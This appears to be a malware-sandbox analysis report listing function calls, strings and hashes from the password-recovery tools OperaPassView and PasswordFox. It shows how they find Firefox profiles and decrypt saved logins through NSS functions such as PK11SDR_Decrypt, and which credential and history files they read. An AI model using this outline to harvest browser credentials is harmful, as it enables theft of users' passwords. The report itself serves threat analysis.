Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: ??2@$memset
String ID:
API String ID: 1860491036-0
Opcode ID: df11e75221f36aa136dd2a530cfc53c12a22ff0e5e946e70cf3a3ed6d6825f66
Instruction ID: af581bbccb9086d889a36cfff49bdd0ea8f57c867f74f292b53e8b0c34c2ba8d
Opcode Fuzzy Hash: df11e75221f36aa136dd2a530cfc53c12a22ff0e5e946e70cf3a3ed6d6825f66
Instruction Fuzzy Hash: C8218EB4A11701CED7159F2A9444916FBE8FFD0310B2A89AFD118DB2B2D7B8C8409F69

Function 004044AB Relevance: 5.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 004044B8
free.MSVCRT ref: 004044DB

Part of subcall function 00403C2B: malloc.MSVCRT ref: 00403C47
Part of subcall function 00403C2B: memcpy.MSVCRT(00000000,00000000,?,00000000,?,00402298,00000002,?,?,?,00401B5C,?), ref: 00403C5F
Part of subcall function 00403C2B: free.MSVCRT ref: 00403C68

free.MSVCRT ref: 004044FE
memcpy.MSVCRT(?,?,?), ref: 00404522

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: free$memcpy$mallocwcslen
String ID:
API String ID: 726966127-0
Opcode ID: d4fc3262eca6a9203210309d0fdc2fcf5fe16143f3354878ebb1b6485f4fe0d1
Instruction ID: 6e423bbbc95361190f821a2eaa1269f95e241a9315f3886d9563661ffd26abd2
Opcode Fuzzy Hash: d4fc3262eca6a9203210309d0fdc2fcf5fe16143f3354878ebb1b6485f4fe0d1
Instruction Fuzzy Hash: A721A1B5100704EFC730DF28D881CAAB7F8EF843247108A2EF552A7691D735BD058B58

Analysis Process: PasswordFox.exePID: 8052, Parent PID: 7372COMMON

Execution Graph

Execution Coverage:	12.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.2%
Total number of Nodes:	1805
Total number of Limit Nodes:	24

Executed Functions

Function 0040518C Relevance: 6.1, APIs: 4, Instructions: 58
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(00000103,0000038B,?,?,00409A61,00000000,?), ref: 004051A2
FindNextFileW.KERNELBASE(000000FF,0000038B,?,?,00409A61,00000000,?), ref: 004051C0
wcslen.MSVCRT ref: 004051F0
wcslen.MSVCRT ref: 004051F8

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: FileFindwcslen$FirstNext
String ID:
API String ID: 2163959949-0
Opcode ID: e58e1da017f2d9b9f2487bc1bcf131eac75da02d1244eea9b71b4f5dc18f09ad
Instruction ID: 72756ae5bf3a82a9770dd2a85ed3f342837e44ccf599ea45002739566ca04d91
Opcode Fuzzy Hash: e58e1da017f2d9b9f2487bc1bcf131eac75da02d1244eea9b71b4f5dc18f09ad
Instruction Fuzzy Hash: F011C272505604AED320DB64D884A9B73DCEF44324F204A3FF45AE31C1EB38A9008F69

Function 0040955B Relevance: 42.2, APIs: 21, Strings: 3, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004025F0: LoadLibraryW.KERNEL32(comctl32.dll), ref: 0040260F
Part of subcall function 004025F0: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00402621
Part of subcall function 004025F0: FreeLibrary.KERNEL32(00000000), ref: 00402635
Part of subcall function 004025F0: MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00402660

SetErrorMode.KERNELBASE(00008001), ref: 00409583
GetModuleHandleW.KERNEL32(00000000,0040AC82,00000000), ref: 0040959C
EnumResourceTypesW.KERNEL32(00000000), ref: 004095A3
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,/deleteregkey,/savelangfile), ref: 0040961A
DeleteObject.GDI32(?), ref: 00409634

Strings

/deleteregkey, xrefs: 00409652
/savelangfile, xrefs: 004095EE
, xrefs: 004095B6

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: Library$??3@AddressDeleteEnumErrorFreeHandleLoadMessageModeModuleObjectProcResourceTypes
String ID: $/deleteregkey$/savelangfile
API String ID: 3591293073-28296030
Opcode ID: d4026ab066b5786ef66ee6970bd6b009e7292194a54210e320ad5b8e2977d184
Instruction ID: 178a9fccab303593a6279fae082693933da09ea4deade59eeb096ff544fa0fd7
Opcode Fuzzy Hash: d4026ab066b5786ef66ee6970bd6b009e7292194a54210e320ad5b8e2977d184
Instruction Fuzzy Hash: 95516071408346DBD720AFA1DD88A5FBBE8FF85344F00093EF585A2192D7799805CF9A

Function 00409EBB Relevance: 42.1, APIs: 16, Strings: 8, Instructions: 124
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00409EDC
GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,00000000), ref: 00409F25
SetCurrentDirectoryW.KERNEL32(?,?,?,00000000), ref: 00409F32
memset.MSVCRT ref: 00409F4C
wcslen.MSVCRT ref: 00409F59
wcslen.MSVCRT ref: 00409F68
GetModuleHandleW.KERNEL32(?,?,?,?,?,?,00000000), ref: 00409FA3
LoadLibraryExW.KERNEL32(?,00000000,00000008,?,?,?,?,?,00000000), ref: 00409FBF
LoadLibraryExW.KERNEL32(?,00000000,00000008,?,?,?,?,?,00000000), ref: 00409FD6
GetProcAddress.KERNEL32(?,NSS_Init), ref: 00409FEB
GetProcAddress.KERNEL32(?,NSS_Shutdown), ref: 00409FF7
GetProcAddress.KERNEL32(?,PK11_GetInternalKeySlot), ref: 0040A003
GetProcAddress.KERNEL32(?,PK11_FreeSlot), ref: 0040A00F
GetProcAddress.KERNEL32(?,PK11_CheckUserPassword), ref: 0040A01B
GetProcAddress.KERNEL32(?,PK11_Authenticate), ref: 0040A027
GetProcAddress.KERNEL32(?,PK11SDR_Decrypt), ref: 0040A033

Part of subcall function 0040353E: memset.MSVCRT ref: 0040355F
Part of subcall function 0040353E: memset.MSVCRT ref: 004035AC
Part of subcall function 0040353E: RegCloseKey.ADVAPI32(?), ref: 004036DF
Part of subcall function 0040353E: wcscpy.MSVCRT ref: 004036ED
Part of subcall function 0040353E: ExpandEnvironmentStringsW.KERNEL32(%programfiles%\Mozilla Firefox,?,00000104), ref: 00403704
Part of subcall function 0040353E: GetCurrentDirectoryW.KERNEL32(00000104,?,?,00000104), ref: 00403740

Strings

PK11_Authenticate, xrefs: 0040A01D
PK11_CheckUserPassword, xrefs: 0040A011
nss3.dll, xrefs: 00409F54, 00409F7C
NSS_Init, xrefs: 00409FE4
PK11SDR_Decrypt, xrefs: 0040A029
PK11_FreeSlot, xrefs: 0040A005
NSS_Shutdown, xrefs: 00409FED
PK11_GetInternalKeySlot, xrefs: 00409FF9

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: AddressProc$memset$CurrentDirectory$LibraryLoadwcslen$CloseEnvironmentExpandHandleModuleStringswcscpy
String ID: NSS_Init$NSS_Shutdown$PK11SDR_Decrypt$PK11_Authenticate$PK11_CheckUserPassword$PK11_FreeSlot$PK11_GetInternalKeySlot$nss3.dll
API String ID: 2554026968-4029219660
Opcode ID: 9ef94111156cac9d1b3b72124b0fa32533121e735b70d91af15a6f43e3620ccd
Instruction ID: 5684c35a9538609956853511e72be201b8ec69360c76df797af2ef85c1c6d806
Opcode Fuzzy Hash: 9ef94111156cac9d1b3b72124b0fa32533121e735b70d91af15a6f43e3620ccd
Instruction Fuzzy Hash: 62418271940308AACB20DF61CC8599AB7F9FF58344F10497FE585E21D2E7789A888B5D

Function 00403E9B Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 224
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00409EBB: memset.MSVCRT ref: 00409EDC
Part of subcall function 00409EBB: GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,00000000), ref: 00409F25
Part of subcall function 00409EBB: SetCurrentDirectoryW.KERNEL32(?,?,?,00000000), ref: 00409F32
Part of subcall function 00409EBB: memset.MSVCRT ref: 00409F4C
Part of subcall function 00409EBB: wcslen.MSVCRT ref: 00409F59
Part of subcall function 00409EBB: wcslen.MSVCRT ref: 00409F68
Part of subcall function 00409EBB: GetModuleHandleW.KERNEL32(?,?,?,?,?,?,00000000), ref: 00409FA3
Part of subcall function 00409EBB: LoadLibraryExW.KERNEL32(?,00000000,00000008,?,?,?,?,?,00000000), ref: 00409FBF
Part of subcall function 00409EBB: LoadLibraryExW.KERNEL32(?,00000000,00000008,?,?,?,?,?,00000000), ref: 00409FD6
Part of subcall function 00409EBB: GetProcAddress.KERNEL32(?,NSS_Init), ref: 00409FEB
Part of subcall function 00409EBB: GetProcAddress.KERNEL32(?,NSS_Shutdown), ref: 00409FF7
Part of subcall function 00409EBB: GetProcAddress.KERNEL32(?,PK11_GetInternalKeySlot), ref: 0040A003
Part of subcall function 00409EBB: GetProcAddress.KERNEL32(?,PK11_FreeSlot), ref: 0040A00F
Part of subcall function 00409EBB: GetProcAddress.KERNEL32(?,PK11_CheckUserPassword), ref: 0040A01B

memset.MSVCRT ref: 00403EDA
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000104,00000000,00000000), ref: 00403EF1
memset.MSVCRT ref: 00403F2A
memset.MSVCRT ref: 00403F44
memset.MSVCRT ref: 00403F5E
memset.MSVCRT ref: 00403F78
wcslen.MSVCRT ref: 00403F83
wcslen.MSVCRT ref: 00403F91
wcslen.MSVCRT ref: 00403FC2
wcslen.MSVCRT ref: 00403FD0
wcslen.MSVCRT ref: 00404001
wcslen.MSVCRT ref: 0040400F
wcslen.MSVCRT ref: 00404040
wcslen.MSVCRT ref: 0040404E
SetCurrentDirectoryW.KERNEL32(?), ref: 0040414E

Part of subcall function 00403A29: memset.MSVCRT ref: 00403A68
Part of subcall function 00403A29: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,?,00000104,00000000,00000000), ref: 00403A81
Part of subcall function 00403A29: memset.MSVCRT ref: 00403AF2
Part of subcall function 00403A29: memset.MSVCRT ref: 00403B07

Strings

signons.sqlite, xrefs: 00404047, 0040405C
signons.txt, xrefs: 00403F8A, 00403F9F
signons2.txt, xrefs: 00403FC9, 00403FDE
signons3.txt, xrefs: 00404008, 0040401D

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: memsetwcslen$AddressProc$CurrentDirectory$ByteCharLibraryLoadMultiWide$HandleModule
String ID: signons.sqlite$signons.txt$signons2.txt$signons3.txt
API String ID: 909768024-2435954524
Opcode ID: 2cd41763164bfc268848fe1a4c35ae9e78612bbf97f8d55e22d6e3cbca22dac0
Instruction ID: c203f00cef873be9fb78cde1de6421f2abdb522e40cfef1996789d219aa531ea
Opcode Fuzzy Hash: 2cd41763164bfc268848fe1a4c35ae9e78612bbf97f8d55e22d6e3cbca22dac0
Instruction Fuzzy Hash: D47173B2408345ABC720EF51DC8199B77EDEF84315F10093EFA88F61D1E7399A548B5A

Function 0040353E Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 170
registrytimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0040355F

Part of subcall function 0040A9BF: RegOpenKeyExW.KERNELBASE(80000002,80000002,00000000,00020019,80000002,0040358D,80000002,SOFTWARE\Mozilla,?), ref: 0040A9D2

_wcsnicmp.MSVCRT ref: 004035D2
memset.MSVCRT ref: 004035F6
memset.MSVCRT ref: 00403612
_snwprintf.MSVCRT ref: 00403632
wcsrchr.MSVCRT ref: 00403651
CompareFileTime.KERNEL32(?,?), ref: 00403685
wcscpy.MSVCRT ref: 004036A7
memset.MSVCRT ref: 004035AC

Part of subcall function 0040AA59: RegEnumKeyExW.ADVAPI32(00000000,?,?,?,00000000,00000000,00000000,?,?,00000000), ref: 0040AA7C

RegCloseKey.ADVAPI32(?), ref: 004036DF
wcscpy.MSVCRT ref: 004036ED
ExpandEnvironmentStringsW.KERNEL32(%programfiles%\Mozilla Firefox,?,00000104), ref: 00403704
GetCurrentDirectoryW.KERNEL32(00000104,?,?,00000104), ref: 00403740

Strings

mozilla, xrefs: 004035CC
SOFTWARE\Mozilla, xrefs: 0040357B
%s\bin, xrefs: 00403621
%programfiles%\Mozilla Firefox, xrefs: 004036FF

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: memset$wcscpy$CloseCompareCurrentDirectoryEnumEnvironmentExpandFileOpenStringsTime_snwprintf_wcsnicmpwcsrchr
String ID: %programfiles%\Mozilla Firefox$%s\bin$SOFTWARE\Mozilla$mozilla
API String ID: 1094916163-3304446826
Opcode ID: d87aefb1ff376ea55b32d79d498fb8176b26e42b29f7c254c3bd9a02580b83b6
Instruction ID: e48ef5db9bdb8b4a7d99f75cc5e27f3a554516f7c19b45dad1929bcfdf1d344f
Opcode Fuzzy Hash: d87aefb1ff376ea55b32d79d498fb8176b26e42b29f7c254c3bd9a02580b83b6
Instruction Fuzzy Hash: 195143B2900219AADB60EFA1DC85ADF7BBCAF04314F0005B6F904B6191E7749B84CB99

Function 0040B50C Relevance: 18.1, APIs: 12, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,0040C3A0,00000070), ref: 0040B51B
__set_app_type.MSVCRT ref: 0040B57A
__p__fmode.MSVCRT ref: 0040B58F
__p__commode.MSVCRT ref: 0040B59D
__setusermatherr.MSVCRT ref: 0040B5C9
_initterm.MSVCRT ref: 0040B5DF
__wgetmainargs.MSVCRT ref: 0040B602
_initterm.MSVCRT ref: 0040B615
GetStartupInfoW.KERNEL32(?), ref: 0040B672
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0040B698
exit.KERNELBASE ref: 0040B6AF
_cexit.MSVCRT ref: 0040B6B5

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: HandleModule_initterm$InfoStartup__p__commode__p__fmode__set_app_type__setusermatherr__wgetmainargs_cexitexit
String ID:
API String ID: 2827331108-0
Opcode ID: 33ca073d47c7302e7342fcea8aba624dc4a35c459148cc5e94e9aeb5e10264c8
Instruction ID: e01cd669bdb7fb49093a9b6ff8a530008b0410016245136eb8964f66b7eabaf2
Opcode Fuzzy Hash: 33ca073d47c7302e7342fcea8aba624dc4a35c459148cc5e94e9aeb5e10264c8
Instruction Fuzzy Hash: 2A519071C40205EFCB20AFA4D988AAE77B4FB44314F20867BE855B72D1D7794982CB9D

Function 00408A99 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00408ACA
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00408ADF
wcsrchr.MSVCRT ref: 00408AEE
wcscat.MSVCRT ref: 00408B08

Strings

.cfg, xrefs: 00408B02
/profile, xrefs: 00408B74
/installfolder, xrefs: 00408BAB
/master, xrefs: 00408BF2

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: FileModuleNamememsetwcscatwcsrchr
String ID: .cfg$/installfolder$/master$/profile
API String ID: 776488737-2817415528
Opcode ID: 1385d99f9d3117933856bbdb45573c7bccc4cd1af43ce7ebd9ff815b7821104c
Instruction ID: c9699089a678a890fee6dac8cdd7aa88665331595cdb8f284d7a2e663852b7aa
Opcode Fuzzy Hash: 1385d99f9d3117933856bbdb45573c7bccc4cd1af43ce7ebd9ff815b7821104c
Instruction Fuzzy Hash: 3341B3725001159BDB10EF51DC85ACA73A9EF44314F1840BABD0CBB2C3DB7DAA948BA9

Function 00409857 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00409A7A: memset.MSVCRT ref: 00409A96
Part of subcall function 00409A7A: memset.MSVCRT ref: 00409AAB
Part of subcall function 00409A7A: wcscat.MSVCRT ref: 00409AD1
Part of subcall function 00409A7A: wcscat.MSVCRT ref: 00409AF7

memset.MSVCRT ref: 0040989F
wcslen.MSVCRT ref: 004098B6
wcslen.MSVCRT ref: 004098BE
wcslen.MSVCRT ref: 00409917
wcslen.MSVCRT ref: 00409925

Part of subcall function 0040468E: wcscpy.MSVCRT ref: 00404696
Part of subcall function 0040468E: wcscat.MSVCRT ref: 004046A5

Strings

history.dat, xrefs: 0040987F, 004098BB, 004098CD
places.sqlite, xrefs: 0040991E, 00409933

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: wcslen$memsetwcscat$wcscpy
String ID: history.dat$places.sqlite
API String ID: 2541527827-467022611
Opcode ID: 078acf5595006b25e19b26cec781eadeda02e5e83cd21b058ea400ee59bb81ae
Instruction ID: 26d80f911a766dcbd1c55f55748fd8c9ad000421fe116896cc75fe1ca070082e
Opcode Fuzzy Hash: 078acf5595006b25e19b26cec781eadeda02e5e83cd21b058ea400ee59bb81ae
Instruction Fuzzy Hash: ED313871D04219AACF10FBA5DC45ADDB7B8AF44319F20847BE514F21C2EB7C9A49CB58

Function 0040ACCC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040AC9D: LoadLibraryW.KERNEL32(shell32.dll,0040957E), ref: 0040ACAB
Part of subcall function 0040AC9D: GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 0040ACC0

memset.MSVCRT ref: 0040AD0B
wcscpy.MSVCRT ref: 0040AD34
RegCloseKey.ADVAPI32(?,?,?,?,00000208,?,?,?,?,?,00000000), ref: 0040AD56
wcscpy.MSVCRT ref: 0040AD65

Part of subcall function 00404659: GetVersionExW.KERNEL32(0040FA78,00000208,0040ACEA,00000000), ref: 00404673

Strings

AppData, xrefs: 0040AD2E
Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 0040AD14

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: wcscpy$AddressCloseLibraryLoadProcVersionmemset
String ID: AppData$Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
API String ID: 288233908-3974836871
Opcode ID: 575bda5dc03a994884795237ba0a5972980a742fe3d38205ca00784e16b8d47f
Instruction ID: e2d1ccaa5822a8973fc9891ee3d502f62366d36d26647b53b469a464e62ee2b9
Opcode Fuzzy Hash: 575bda5dc03a994884795237ba0a5972980a742fe3d38205ca00784e16b8d47f
Instruction Fuzzy Hash: 8C01E1B1941208FADB10B7A49D4ADAE737CDB44304F200077B906B10C2E6795B949AAA

Function 004092DD Relevance: 9.1, APIs: 6, Instructions: 77
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(00000C30,00000000,?,?,?,?,004095D3), ref: 004092FD
??2@YAPAXI@Z.MSVCRT(0000050C,00000000,?,?,?,?,004095D3), ref: 00409330
DeleteObject.GDI32(?), ref: 00409354
GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,004095D3), ref: 0040939A
LoadIconW.USER32(00000000,00000065), ref: 004093A3
wcsrchr.MSVCRT ref: 004093D6

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: ??2@$DeleteHandleIconLoadModuleObjectwcsrchr
String ID:
API String ID: 829242273-0
Opcode ID: b6872d8eefeebd306552a5b8be504b41ed2c6867e2c7576c2d210665d0b67c59
Instruction ID: a7972903ae27a6600f95bbd13b710df1722676e02896d0f0998b2b2f089c8b71
Opcode Fuzzy Hash: b6872d8eefeebd306552a5b8be504b41ed2c6867e2c7576c2d210665d0b67c59
Instruction Fuzzy Hash: 1421BCB1A01704CFC6209F769C89A57B7E8EF44701F550A3FE45AA7292DF7968008F1C

Function 00409A7A Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00409A96
memset.MSVCRT ref: 00409AAB

Part of subcall function 0040426C: wcslen.MSVCRT ref: 0040426D
Part of subcall function 0040426C: wcscat.MSVCRT ref: 00404285

wcscat.MSVCRT ref: 00409AD1

Part of subcall function 0040ACCC: memset.MSVCRT ref: 0040AD0B
Part of subcall function 0040ACCC: wcscpy.MSVCRT ref: 0040AD34
Part of subcall function 0040ACCC: RegCloseKey.ADVAPI32(?,?,?,?,00000208,?,?,?,?,?,00000000), ref: 0040AD56
Part of subcall function 0040ACCC: wcscpy.MSVCRT ref: 0040AD65

wcscat.MSVCRT ref: 00409AF7

Strings

Mozilla\Profiles, xrefs: 00409ACB
Mozilla\Firefox\Profiles, xrefs: 00409AF1

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
